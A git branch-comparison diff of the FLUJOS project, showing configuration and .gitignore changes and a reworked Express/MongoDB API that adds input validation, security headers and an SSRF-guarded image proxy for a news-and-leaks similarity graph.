Compare commits

...

No commits in common. "main" and "production" have entirely different histories.

201 changed files with 18144 additions and 111874 deletions

View file

@ -1,34 +1,6 @@
# ── MongoDB ──────────────────────────────────────────────────────────────── # Conexión a MongoDB
MONGO_URL=mongodb://localhost:27017 MONGO_URL=mongodb://localhost:27017
DB_NAME=FLUJOS_DATOS DB_NAME=FLUJOS_DATOS
# ── API de visualización (FLUJOS/BACK_BACK/FLUJOS_APP.js) ────────────────── # Puerto del servidor Node.js
PORT=3000 PORT=3000
# Colección de aristas que alimenta el grafo: `comparaciones` (solape de
# palabras, histórica) o `comparaciones_v2` (motor semántico).
COMPARACIONES_COL=comparaciones
# Token del panel /admin. Si no se define, se lee de FLUJOS_DATOS/.admin_token
# ADMIN_TOKEN=
# ── Rutas (por defecto se deducen de la ubicación del código) ──────────────
# Envíos del buzón de periodistas. Debe quedar FUERA del webroot.
# SUBMISSIONS_DIR=
# Imágenes de Wikipedia ya scrapeadas, servidas en /wiki-images
# WIKI_IMAGES_DIR=
# Raíz de FLUJOS_DATOS para los scripts de scraping y comparación
# FLUJOS_DATOS_DIR=
# ── API de noticias (coconews/api/server.js) ───────────────────────────────
COCONEWS_PORT=3100
# ── Ingestor RSS (coconews/workers/ingestor.py) ────────────────────────────
INGESTOR_SLEEP=900
INGESTOR_WORKERS=20
INGESTOR_FEED_TIMEOUT=20
INGESTOR_BACKFILL_IMG=1
INGESTOR_BACKFILL_DIAS=90
INGESTOR_BACKFILL_LOTE=300
# ── Análisis de imágenes (FLUJOS_DATOS/IMAGENES/image_analyzer.py) ─────────
VISION_MODEL=Qwen/Qwen3-VL-8B-Instruct
# HF_HOME=

49
.gitignore vendored
View file

@ -1,46 +1,31 @@
# ========================
# SECRETOS — NUNCA SUBIR
# ========================
# Token del panel de administración (lo lee FLUJOS_APP.js como fallback de ADMIN_TOKEN)
FLUJOS_DATOS/.admin_token
# Buzón de envíos de periodistas: material filtrado, no toca este repo jamás
FLUJOS_DATOS/SUBMISSIONS/
.env
.env.*
!.env.example
# ======================== # ========================
# DATOS PESADOS - NO SUBIR # DATOS PESADOS - NO SUBIR
# ======================== # ========================
# MongoDB # MongoDB (3.2 GB)
FLUJOS_DATOS/MONGO/ FLUJOS_DATOS/MONGO/
# Modelo Qwen3-VL (~16GB) # Noticias escrapeadas (1.9 GB)
FLUJOS_DATOS/IMAGENES/model_cache/
# Imágenes scrapeadas y JSONs de output
FLUJOS_DATOS/IMAGENES/output/
# Datos scrapeados - solo código, no datos
FLUJOS_DATOS/NOTICIAS/archivos/ FLUJOS_DATOS/NOTICIAS/archivos/
FLUJOS_DATOS/NOTICIAS/articulos/ FLUJOS_DATOS/NOTICIAS/articulos/
FLUJOS_DATOS/NOTICIAS/tokenized/ FLUJOS_DATOS/NOTICIAS/tokenized/
FLUJOS_DATOS/NOTICIAS/noticias_procesadas.txt
FLUJOS_DATOS/NOTICIAS/processed_articles.txt # Wikipedia (611 MB)
FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia/ FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia/
FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados/ FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados/
FLUJOS_DATOS/TORRENTS/
articulos_wikipedia/
# Entornos virtuales Python # Torrents / WikiLeaks (1.1 GB)
FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized/
FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt/
# Entorno virtual Python (2.1 GB)
FLUJOS_DATOS/myenv/ FLUJOS_DATOS/myenv/
myenv/ myenv/
venv/ venv/
env/ env/
.venv/ .venv/
# NLTK data # NLTK data (50 MB)
nltk_data/ nltk_data/
# Bases de datos # Bases de datos
@ -53,6 +38,13 @@ nltk_data/
node_modules/ node_modules/
**/node_modules/ **/node_modules/
# ========================
# SECRETOS Y CONFIG LOCAL
# ========================
.env
.env.*
!.env.example
# ======================== # ========================
# PYTHON # PYTHON
# ======================== # ========================
@ -67,8 +59,6 @@ __pycache__/
# ======================== # ========================
*.save *.save
*.bak *.bak
# `*.bak` no casa con `fichero.js.bak-20260823`
*.bak-*
*_COPIA* *_COPIA*
*~ *~
.DS_Store .DS_Store
@ -79,16 +69,13 @@ Thumbs.db
# ======================== # ========================
logs/ logs/
*.log *.log
# `*.log` no casa con los rotados `pipeline_mongolo.log.1`
*.log.*
npm-debug.log* npm-debug.log*
# ======================== # ========================
# HERRAMIENTAS Y EDITORES # IDEs
# ======================== # ========================
.vscode/ .vscode/
.idea/ .idea/
.claude/
*.swp *.swp
*.swo *.swo

View file

@ -1,210 +0,0 @@
// FLUJOS_APP.js ubicado en /var/www/flujos/FLUJOS/BACK_BACK/
require('dotenv').config(); // Cargar variables de entorno desde .env
const express = require('express');
const path = require('path');
const bodyParser = require('body-parser');
const helmet = require('helmet');
const { MongoClient } = require('mongodb');
const app = express();
const port = process.env.PORT || 3000;
// Configurar Helmet con CSP personalizado
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
"'unsafe-inline'",
'https://unpkg.com',
'https://cdnjs.cloudflare.com',
'https://fonts.googleapis.com',
'https://fonts.gstatic.com',
],
styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'],
imgSrc: ["'self'", 'data:'],
connectSrc: ["'self'", 'ws://localhost:3000'],
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
},
})
);
app.use(bodyParser.json());
// **Definir primero las rutas de la API**
app.get('/api/data', async (req, res) => {
console.log('Solicitud recibida en /api/data');
try {
// Asegurarse de que la conexión a la base de datos está establecida
if (!db) {
res.status(500).json({ error: 'No hay conexión a la base de datos' });
return;
}
// Acceder a las colecciones necesarias
const wikipediaCollection = db.collection('wikipedia');
const noticiasCollection = db.collection('noticias');
const torrentsCollection = db.collection('torrents');
const comparacionesCollection = db.collection('comparaciones');
// Obtener los parámetros de consulta del cliente
const { tema, subtematica, palabraClave, fechaInicio, fechaFin, nodos, complejidad } = req.query;
console.log('Parámetros de consulta:', req.query);
// Validar que el parámetro 'tema' esté presente
if (!tema) {
res.status(400).json({ error: 'El parámetro "tema" es obligatorio' });
return;
}
// Construir la consulta para obtener los nodos (noticias, wikipedia y torrents)
let nodesQuery = {
tema: tema, // Usar el tema proporcionado
};
if (subtematica) nodesQuery.subtema = subtematica;
if (palabraClave)
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
if (fechaInicio && fechaFin) {
nodesQuery.fecha = {
$gte: new Date(fechaInicio),
$lte: new Date(fechaFin),
};
}
console.log('Consulta para nodos:', nodesQuery);
// Obtener el límite de nodos (con un máximo para evitar sobrecarga)
const nodosLimit = Math.min(parseInt(nodos) || 100, 500);
// Ejecutar la consulta y obtener los resultados de las colecciones
console.log('Ejecutando consulta para nodos en colecciones...');
const [wikipediaNodes, noticiasNodes, torrentsNodes] = await Promise.all([
wikipediaCollection.find(nodesQuery).limit(nodosLimit).toArray(),
noticiasCollection.find(nodesQuery).limit(nodosLimit).toArray(),
torrentsCollection.find(nodesQuery).limit(nodosLimit).toArray(),
]);
console.log('Nodos de Wikipedia obtenidos:', wikipediaNodes.length);
console.log('Nodos de Noticias obtenidos:', noticiasNodes.length);
console.log('Nodos de Torrents obtenidos:', torrentsNodes.length);
// Combinar los nodos de las colecciones
const nodes = [...wikipediaNodes, ...noticiasNodes, ...torrentsNodes];
console.log('Total de nodos combinados:', nodes.length);
// Utilizar los nombres de archivo exactos como IDs de los nodos
const formattedNodes = nodes.map((result) => ({
id: result.archivo.trim(), // Utilizar el nombre de archivo exacto sin normalizar
group: result.subtema || 'sin subtema',
tema: result.tema || 'sin tema',
content: result.texto || '',
fecha: result.fecha || '',
}));
// Obtener los IDs de los nodos
const nodeIds = formattedNodes.map(node => node.id);
console.log('IDs de nodos:', nodeIds);
// Leer el parámetro 'complejidad' de la query (que en tu front envías como % de similitud)
const porcentajeSimilitudMin = parseFloat(complejidad) || 0;
console.log('Porcentaje de similitud mínimo (desde complejidad):', porcentajeSimilitudMin);
// Construir la consulta para obtener los enlaces relacionados con los nodos obtenidos
const linksQuery = {
porcentaje_similitud: { $gte: porcentajeSimilitudMin },
noticia1: { $in: nodeIds },
noticia2: { $in: nodeIds },
};
console.log('Consulta para enlaces:', linksQuery);
// Ejecutar la consulta y obtener los enlaces
console.log('Ejecutando consulta para enlaces...');
const links = await comparacionesCollection.find(linksQuery).toArray();
console.log('Enlaces obtenidos:', links.length);
// Formatear los enlaces sin normalizar los IDs
const formattedLinks = links.map((result) => ({
source: result.noticia1.trim(),
target: result.noticia2.trim(),
value: result.porcentaje_similitud,
}));
// Enviar los datos al cliente en formato JSON
res.json({ nodes: formattedNodes, links: formattedLinks });
console.log('Datos enviados al cliente');
} catch (error) {
console.error('Error al obtener datos:', error);
res.status(500).json({ error: 'Error al obtener datos' });
}
});
// **Luego, definir las rutas de las páginas principales**
// Rutas para las páginas principales
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/index.html'));
});
app.get('/climate.html', (req, res) => {
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/climate.html'));
});
app.get('/glob-war.html', (req, res) => {
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/glob-war.html'));
});
app.get('/popl-up.html', (req, res) => {
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/popl-up.html'));
});
app.get('/int-sec.html', (req, res) => {
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/int-sec.html'));
});
app.get('/eco-corp.html', (req, res) => {
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/eco-corp.html'));
});
// **Después, configurar el middleware de archivos estáticos**
app.use(express.static(path.join(__dirname, '../VISUALIZACION/public')));
// Conexión a MongoDB usando variables de entorno
const mongoUrl = process.env.MONGO_URL || 'mongodb://localhost:27017';
const dbName = process.env.DB_NAME || 'FLUJOS_DATOS';
let db; // Variable para almacenar la conexión a la base de datos
// Función para conectar a MongoDB
async function connectToMongoDB() {
try {
const mongoClient = new MongoClient(mongoUrl, {
useNewUrlParser: true,
useUnifiedTopology: true,
});
await mongoClient.connect();
db = mongoClient.db(dbName);
console.log('Conectado a MongoDB');
} catch (error) {
console.error('Error al conectar a MongoDB:', error);
process.exit(1); // Salir de la aplicación si no se puede conectar
}
}
// Llamar a la función para conectar a MongoDB
connectToMongoDB();
// Iniciar el servidor escuchando en todas las interfaces
app.listen(port, '0.0.0.0', () => {
console.log(`La aplicación está escuchando en http://localhost:${port}`);
});
// Manejar el cierre de la aplicación
process.on('SIGINT', async () => {
if (db) {
await db.close();
console.log('Conexión a MongoDB cerrada');
}
process.exit(0);
});

View file

@ -1,113 +0,0 @@
// FLUJOS_APP.js ubicado en /var/www/flujos/FLUJOS/BACK_BACK/
require('dotenv').config(); // Cargar variables de entorno desde .env
const express = require('express');
const path = require('path');
const bodyParser = require('body-parser');
const helmet = require('helmet');
const { MongoClient } = require('mongodb');
const app = express();
const port = process.env.PORT || 3000;
// Configurar Helmet con CSP personalizado
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
"'unsafe-inline'",
'https://unpkg.com',
'https://cdnjs.cloudflare.com',
'https://fonts.googleapis.com',
'https://fonts.gstatic.com',
],
styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'],
imgSrc: ["'self'", 'data:'],
connectSrc: ["'self'", 'ws://localhost:3000'],
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
},
})
);
app.use(bodyParser.json());
// Configurar el directorio de archivos estáticos
app.use(express.static(path.join(__dirname, '../VISUALIZACION/public')));
// Ruta para la página principal
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/climate.html'));
});
// Conexión a MongoDB usando variables de entorno
const mongoUrl = process.env.MONGO_URL || 'mongodb://localhost:27017';
const dbName = process.env.DB_NAME || 'FLUJOS_DATOS';
const mongoClient = new MongoClient(mongoUrl, { useNewUrlParser: true, useUnifiedTopology: true });
// Endpoint para obtener datos de climate
app.get('/api/climate-data', async (req, res) => {
try {
// Conectar a MongoDB
await mongoClient.connect();
const db = mongoClient.db(dbName);
// Acceder a las colecciones necesarias
const noticiasCollection = db.collection('noticias');
const comparacionesCollection = db.collection('comparaciones');
// Obtener los parámetros de consulta del cliente (si los hay)
const { subtematica, palabraClave, fechaInicio, fechaFin } = req.query;
// Construir la consulta para obtener los nodos (noticias)
const nodesQuery = { tema: 'cambio climático' };
if (subtematica) nodesQuery.subtema = subtematica;
if (palabraClave) nodesQuery.contenido = { $regex: palabraClave, $options: 'i' };
if (fechaInicio && fechaFin) {
nodesQuery.fecha = {
$gte: new Date(fechaInicio),
$lte: new Date(fechaFin)
};
}
// Ejecutar la consulta y obtener los resultados
const nodesCursor = noticiasCollection.find(nodesQuery).limit(50); // Puedes ajustar el límite según tus necesidades
const nodes = await nodesCursor.toArray();
// Construir la consulta para obtener los enlaces (comparaciones)
const linksQuery = { porcentaje_similitud: { $gte: 5 } }; // Ajusta el valor según necesites
const linksCursor = comparacionesCollection.find(linksQuery);
const links = await linksCursor.toArray();
// Formatear los datos para enviarlos al cliente
const formattedNodes = nodes.map(result => ({
id: result.archivo,
group: result.tipo,
tema: result.tema,
content: result.contenido,
fecha: result.fecha,
}));
const formattedLinks = links.map(result => ({
source: result.noticia1,
target: result.noticia2,
value: result.porcentaje_similitud,
}));
// Enviar los datos al cliente en formato JSON
res.json({ nodes: formattedNodes, links: formattedLinks });
} catch (error) {
console.error('Error al obtener datos:', error);
res.status(500).json({ error: 'Error al obtener datos' });
} finally {
// Cerrar la conexión a la base de datos
await mongoClient.close();
}
});
// Iniciar el servidor
app.listen(port, () => {
console.log(`La aplicación está escuchando en http://localhost:${port}`);
});

View file

@ -1,13 +0,0 @@
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/tensorflow', methods=['POST'])
def tensorflow_endpoint():
data = request.json
# Aquí procesarías el dato con tu modelo TensorFlow
# Por ahora solo lo devolvemos como está
return jsonify(data)
if __name__ == '__main__':
app.run(port=5000)

View file

@ -1,45 +0,0 @@
import pandas as pd
from pymongo import MongoClient
from obsei.source.pandas_source import PandasSource, PandasSourceConfig
from obsei.analyzer.classification_analyzer import ClassificationAnalyzerConfig, ZeroShotClassificationAnalyzer
from obsei.sink.pandas_sink import PandasSink, PandasSinkConfig
# Configura la fuente
source = PandasSource()
source_config = PandasSourceConfig(
# Proporciona tu configuración aquí
)
# Configura el analizador
analyzer = ZeroShotClassificationAnalyzer(
# Proporciona tu configuración aquí
)
analyzer_config = ClassificationAnalyzerConfig(
# Proporciona tu configuración aquí
)
# Configura el sumidero
sink = PandasSink()
sink_config = PandasSinkConfig(
# Proporciona tu configuración aquí
)
# Ejecuta el flujo de trabajo
source_response_list = source.lookup(source_config)
analyzer_response_list = analyzer.analyze_input(
source_response_list=source_response_list,
analyzer_config=analyzer_config
)
sink_response_list = sink.send_data(analyzer_response_list, sink_config)
# Ahora `sink_response_list` es una lista de DataFrames.
# Puedes concatenarlos en un solo DataFrame si es necesario.
df = pd.concat(sink_response_list)
# Realiza cualquier transformación o limpieza de datos necesaria aquí...
# Finalmente, guarda el DataFrame en MongoDB.
client = MongoClient('mongodb://localhost:27017/')
db = client['nombre_de_tu_base_de_datos']
collection = db['nombre_de_tu_coleccion']
collection.insert_many(df.to_dict('records'))

12056
BACK_BACK/package-lock.json generated

File diff suppressed because it is too large Load diff

View file

@ -1,32 +0,0 @@
{
"name": "flujos",
"version": "1.0.0",
"description": "Aplicación FLUJOS",
"main": "FLUJOS_APP.js",
"scripts": {
"start": "node FLUJOS_APP.js",
"dev": "nodemon FLUJOS_APP.js",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"@elastic/elasticsearch": "^8.9.0",
"body-parser": "^1.20.3",
"dotenv": "^16.4.5",
"express": "^4.21.0",
"express-graphql": "^0.12.0",
"force-graph": "^1.43.2",
"graphql": "^15.8.0",
"helmet": "^8.0.0",
"mongod": "^2.0.0",
"mongodb": "^6.9.0",
"mongoose": "^7.3.4",
"node-fetch": "^3.3.2",
"tree": "^0.1.3"
},
"devDependencies": {
"nodemon": "^3.1.7",
"parcel-bundler": "^1.8.1"
}
}

View file

@ -1 +0,0 @@
pip install obsei[all]

View file

@ -4,155 +4,38 @@ require('dotenv').config(); // Cargar variables de entorno desde .env
const express = require('express'); const express = require('express');
const path = require('path'); const path = require('path');
const fs = require('fs');
const bodyParser = require('body-parser'); const bodyParser = require('body-parser');
const helmet = require('helmet'); const helmet = require('helmet');
const multer = require('multer');
const { MongoClient } = require('mongodb'); const { MongoClient } = require('mongodb');
const app = express(); const app = express();
const port = process.env.PORT || 3000; const port = process.env.PORT || 3000;
// Colección de comparaciones servida al grafo (configurable para conmutar al motor semántico v2) // Configurar Helmet con CSP personalizado
const COMPARACIONES_COL = process.env.COMPARACIONES_COL || 'comparaciones';
// --- Buzón seguro de colaboradores/periodistas ---------------------------
// Los envíos se guardan FUERA del webroot (nunca se sirven como estáticos).
const SUBMISSIONS_DIR = process.env.SUBMISSIONS_DIR
|| path.join(__dirname, '../../FLUJOS_DATOS/SUBMISSIONS');
// Imagenes de Wikipedia ya scrapeadas; se sirven en /wiki-images
const WIKI_IMAGES_DIR = process.env.WIKI_IMAGES_DIR
|| path.join(__dirname, '../../FLUJOS_DATOS/IMAGENES/output/wiki_images');
try { fs.mkdirSync(SUBMISSIONS_DIR, { recursive: true, mode: 0o700 }); } catch (e) { /* noop */ }
const submitStorage = multer.diskStorage({
destination: (req, file, cb) => cb(null, SUBMISSIONS_DIR),
filename: (req, file, cb) => {
const safe = (file.originalname || 'archivo')
.replace(/[^a-zA-Z0-9._-]/g, '_').slice(0, 80);
cb(null, `${Date.now()}_${Math.random().toString(36).slice(2, 8)}_${safe}`);
},
});
const submitUpload = multer({
storage: submitStorage,
limits: { fileSize: 50 * 1024 * 1024, files: 8 }, // 50 MB/archivo, 8 archivos
});
// Rate-limit sencillo en memoria por IP para el buzón (10 envíos/hora)
const submitHits = new Map();
function submitRateLimit(req, res, next) {
const ip = (req.headers['x-forwarded-for'] || '').split(',')[0].trim()
|| req.socket.remoteAddress || 'desconocida';
const now = Date.now();
const windowMs = 60 * 60 * 1000;
const arr = (submitHits.get(ip) || []).filter((t) => now - t < windowMs);
if (arr.length >= 10) {
return res.status(429).json({ ok: false, error: 'Demasiados envíos desde tu conexión. Inténtalo más tarde.' });
}
arr.push(now);
submitHits.set(ip, arr);
next();
}
// Helmet completo: X-Powered-By off, XSS protection, nosniff, frameguard, HSTS, etc.
app.use(helmet());
// CSP personalizado encima del helmet por defecto
app.use( app.use(
helmet.contentSecurityPolicy({ helmet.contentSecurityPolicy({
directives: { directives: {
defaultSrc: ["'self'"], defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'", 'https://cdn.jsdelivr.net', 'https://esm.sh', 'https://unpkg.com', 'https://cdnjs.cloudflare.com'], scriptSrc: [
"'self'",
"'unsafe-inline'",
'https://unpkg.com',
'https://cdnjs.cloudflare.com',
'https://fonts.googleapis.com',
'https://fonts.gstatic.com',
],
styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'], styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'],
imgSrc: ["'self'", 'data:', 'blob:'], imgSrc: ["'self'", 'data:'],
connectSrc: ["'self'", 'https://esm.sh'], connectSrc: ["'self'", 'ws://localhost:3000'],
fontSrc: ["'self'", 'https://fonts.gstatic.com'], fontSrc: ["'self'", 'https://fonts.gstatic.com'],
frameAncestors: ["'none'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
}, },
}) })
); );
// Prevenir CSRF: solo aceptar peticiones GET a /api desde el mismo origen app.use(bodyParser.json());
const ORIGENES_PERMITIDOS = [
'https://upleaks.org',
'https://www.upleaks.org',
`http://localhost:${port}`,
];
app.use('/api/', (req, res, next) => {
const origin = req.headers.origin;
const referer = req.headers.referer;
// En producción detrás de nginx no hay Origin en peticiones same-site normales,
// pero sí lo habría en peticiones cross-origin maliciosas
if (origin && !ORIGENES_PERMITIDOS.includes(origin)) {
return res.status(403).json({ error: 'Origen no permitido' });
}
next();
});
// Añadir cabecera anti-clickjacking y anti-MIME-sniffing explícitas
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
next();
});
app.use(bodyParser.json({ limit: '10kb' }));
// **Definir primero las rutas de la API** // **Definir primero las rutas de la API**
// --- Proxy de imagenes para las miniaturas del grafo ----------------------
// Sirve same-origin las og:image remotas de las noticias: WebGL/TextureLoader
// no puede texturizar imagenes cross-origin sin CORS. Endpoint PUBLICO, asi que
// lleva proteccion anti-SSRF (solo http(s), nunca IPs privadas/loopback).
const _dns = require('dns').promises;
const _net = require('net');
function _ipPrivada(ip) {
if (_net.isIPv4(ip)) {
const p = ip.split('.').map(Number);
return p[0] === 10 || p[0] === 127 || p[0] === 0
|| (p[0] === 169 && p[1] === 254)
|| (p[0] === 172 && p[1] >= 16 && p[1] <= 31)
|| (p[0] === 192 && p[1] === 168);
}
if (_net.isIPv6(ip)) {
const l = ip.toLowerCase();
return l === '::1' || l.startsWith('fc') || l.startsWith('fd')
|| l.startsWith('fe80') || l.startsWith('::ffff:');
}
return true; // desconocido -> bloquear
}
app.get('/api/img', async (req, res) => {
try {
const raw = req.query.u;
if (!raw || typeof raw !== 'string' || raw.length > 2048) return res.status(400).end();
let u;
try { u = new URL(raw); } catch (e) { return res.status(400).end(); }
if (u.protocol !== 'http:' && u.protocol !== 'https:') return res.status(400).end();
let dir;
try { dir = await _dns.lookup(u.hostname); } catch (e) { return res.status(502).end(); }
if (_ipPrivada(dir.address)) return res.status(403).end();
const ctrl = new AbortController();
const t = setTimeout(() => ctrl.abort(), 6000);
let r;
try {
r = await fetch(u.href, { signal: ctrl.signal, redirect: 'follow',
headers: { 'User-Agent': 'Mozilla/5.0 (compatible; upleaks-img/1.0)' } });
} finally { clearTimeout(t); }
const ct = r.headers.get('content-type') || '';
if (!r.ok || !ct.startsWith('image/')) return res.status(404).end();
const buf = Buffer.from(await r.arrayBuffer());
if (buf.length > 8 * 1024 * 1024) return res.status(413).end();
res.set('Content-Type', ct);
res.set('Cache-Control', 'public, max-age=86400');
return res.end(buf);
} catch (e) {
return res.status(500).end();
}
});
app.get('/api/data', async (req, res) => { app.get('/api/data', async (req, res) => {
console.log('Solicitud recibida en /api/data'); console.log('Solicitud recibida en /api/data');
try { try {
@ -166,661 +49,103 @@ app.get('/api/data', async (req, res) => {
const wikipediaCollection = db.collection('wikipedia'); const wikipediaCollection = db.collection('wikipedia');
const noticiasCollection = db.collection('noticias'); const noticiasCollection = db.collection('noticias');
const torrentsCollection = db.collection('torrents'); const torrentsCollection = db.collection('torrents');
const imagenesCollection = db.collection('imagenes'); // analizadas por Qwen const comparacionesCollection = db.collection('comparaciones');
const imagenesWikiCollection = db.collection('imagenes_wiki'); // scrapeadas (fallback)
const comparacionesCollection = db.collection(COMPARACIONES_COL);
// ── Sanitización y validación de parámetros ────────────────────────────── // Obtener los parámetros de consulta del cliente
// Rechaza cualquier valor que no sea string (bloquea operator injection) const { tema, subtematica, palabraClave, fechaInicio, fechaFin, nodos, complejidad } = req.query;
function sanitizeParam(val) { console.log('Parámetros de consulta:', req.query);
if (typeof val !== 'string') return undefined;
return val.trim();
}
// Lista blanca de temas válidos (evita escaneo libre de la BD) // Validar que el parámetro 'tema' esté presente
const TEMAS_VALIDOS = new Set([
'guerra global', 'inteligencia y seguridad', 'cambio climático',
'demografía y sociedad', 'economía y corporaciones', 'otros',
'geopolítica conflictos', 'seguridad internacional espionaje',
'libertad de prensa periodismo', 'corporaciones poder económico',
'populismo extremismo', 'desinformación redes sociales',
'privacidad vigilancia masiva', 'biodiversidad medioambiente',
'inteligencia artificial tecnología',
]);
const temaRaw = sanitizeParam(req.query.tema);
const subtematica = sanitizeParam(req.query.subtematica);
const palabraClave = sanitizeParam(req.query.palabraClave);
const fechaInicio = sanitizeParam(req.query.fechaInicio);
const fechaFin = sanitizeParam(req.query.fechaFin);
const nodos = sanitizeParam(req.query.nodos);
const complejidad = sanitizeParam(req.query.complejidad);
// Validar tema contra lista blanca
const tema = temaRaw && TEMAS_VALIDOS.has(temaRaw) ? temaRaw : null;
if (!tema) { if (!tema) {
res.status(400).json({ error: 'El parámetro "tema" es obligatorio o no válido' }); res.status(400).json({ error: 'El parámetro "tema" es obligatorio' });
return; return;
} }
// Validar subtematica: solo letras, números, espacios y guiones (máx 80 chars) // Construir la consulta para obtener los nodos (noticias, wikipedia y torrents)
if (subtematica && !/^[\w\s\-áéíóúñüÁÉÍÓÚÑÜ]{1,80}$/.test(subtematica)) { let nodesQuery = {
res.status(400).json({ error: 'subtematica no válida' }); tema: tema, // Usar el tema proporcionado
return; };
}
// Validar palabraClave: máx 100 chars, escapar metacaracteres regex
let regexKw = null;
if (palabraClave) {
if (palabraClave.length > 100) {
res.status(400).json({ error: 'palabraClave demasiado larga' });
return;
}
regexKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
// Validar fechas: formato YYYY-MM-DD estricto
const ISO_DATE = /^\d{4}-\d{2}-\d{2}$/;
let fechaGte = null, fechaLte = null;
if (fechaInicio && fechaFin) {
if (!ISO_DATE.test(fechaInicio) || !ISO_DATE.test(fechaFin)) {
res.status(400).json({ error: 'Formato de fecha inválido (YYYY-MM-DD)' });
return;
}
fechaGte = new Date(fechaInicio);
fechaLte = new Date(fechaFin);
if (isNaN(fechaGte) || isNaN(fechaLte) || fechaGte > fechaLte) {
res.status(400).json({ error: 'Rango de fechas inválido' });
return;
}
// `new Date('2026-08-23')` es 00:00:00Z, asi que un `$lte` dejaba fuera el
// dia final entero (~2000 noticias/semana, justo las mas recientes).
// Guardamos el instante siguiente y filtramos con `$lt`.
fechaLte = new Date(fechaLte.getTime() + 24 * 60 * 60 * 1000);
}
// Validar nodos: entero positivo entre 1 y 500
const nodosRaw = parseInt(nodos, 10);
const nodosLimit = (!isNaN(nodosRaw) && nodosRaw > 0) ? Math.min(nodosRaw, 500) : 100;
// Validar complejidad: float entre 0 y 100
const complejidadRaw = parseFloat(complejidad);
const porcentajeSimilitudMin = (!isNaN(complejidadRaw) && complejidadRaw >= 0 && complejidadRaw <= 100)
? complejidadRaw : 0;
// Construir query de MongoDB solo con valores validados
const nodesQuery = { tema };
if (subtematica) nodesQuery.subtema = subtematica; if (subtematica) nodesQuery.subtema = subtematica;
if (regexKw) nodesQuery.texto = { $regex: regexKw, $options: 'i' }; if (palabraClave)
// El filtro de fecha (modo "semanal") y el orden por frescura se aplican SOLO nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
// a noticias: wikipedia/torrents/imagenes no tienen campo `fecha`, y meterles if (fechaInicio && fechaFin) {
// el rango las vaciaria del grafo (perdiendo las conexiones noticia<->leak). nodesQuery.fecha = {
// $gte: new Date(fechaInicio),
// Dos modos, y tienen que verse distintos: $lte: new Date(fechaFin),
// Semanal (hay rango) -> solo noticias FECHADAS dentro de la ventana, };
// ordenadas por frescura. Las de `fecha: null` }
// quedan fuera (un $gte nunca casa con null). console.log('Consulta para nodos:', nodesQuery);
// Todas (sin rango) -> muestra aleatoria de TODO el archivo, incluidas
// las de `fecha: null`. Con sort({fecha:-1}) +
// limit(N) las 100 mas nuevas eran siempre las de
// esta semana, asi que los dos modos devolvian el
// mismo grafo byte a byte.
const modoSemanal = Boolean(fechaGte);
const noticiasQuery = { ...nodesQuery };
if (modoSemanal) noticiasQuery.fecha = { $gte: fechaGte, $lt: fechaLte };
// Imágenes: proporcional a nodosLimit (1/3), mínimo 3 para siempre mostrar algo
const imagenesLimit = Math.max(3, Math.floor(nodosLimit / 3));
const [wikipediaNodes, noticiasNodes, torrentsNodes, imagenesNodes, imagenesWikiNodes] = await Promise.all([ // Obtener el límite de nodos (con un máximo para evitar sobrecarga)
const nodosLimit = Math.min(parseInt(nodos) || 100, 500);
// Ejecutar la consulta y obtener los resultados de las colecciones
console.log('Ejecutando consulta para nodos en colecciones...');
const [wikipediaNodes, noticiasNodes, torrentsNodes] = await Promise.all([
wikipediaCollection.find(nodesQuery).limit(nodosLimit).toArray(), wikipediaCollection.find(nodesQuery).limit(nodosLimit).toArray(),
modoSemanal noticiasCollection.find(nodesQuery).limit(nodosLimit).toArray(),
? noticiasCollection.find(noticiasQuery).sort({ fecha: -1 }).limit(nodosLimit).toArray()
: noticiasCollection.aggregate([
{ $match: noticiasQuery },
{ $sample: { size: nodosLimit } },
]).toArray(),
torrentsCollection.find(nodesQuery).limit(nodosLimit).toArray(), torrentsCollection.find(nodesQuery).limit(nodosLimit).toArray(),
imagenesCollection.find(nodesQuery).limit(imagenesLimit).toArray(),
imagenesWikiCollection.find(nodesQuery).limit(imagenesLimit).toArray(),
]); ]);
console.log('Nodos de Wikipedia obtenidos:', wikipediaNodes.length);
console.log('Nodos de Noticias obtenidos:', noticiasNodes.length);
console.log('Nodos de Torrents obtenidos:', torrentsNodes.length);
// Preferir imagenes analizadas (con keywords); si no hay, usar imagenes_wiki // Combinar los nodos de las colecciones
const imgNodes = imagenesNodes.length > 0 ? imagenesNodes : imagenesWikiNodes;
const nodes = [...wikipediaNodes, ...noticiasNodes, ...torrentsNodes]; const nodes = [...wikipediaNodes, ...noticiasNodes, ...torrentsNodes];
console.log('Total de nodos combinados:', nodes.length);
// Nodos de texto // Utilizar los nombres de archivo exactos como IDs de los nodos
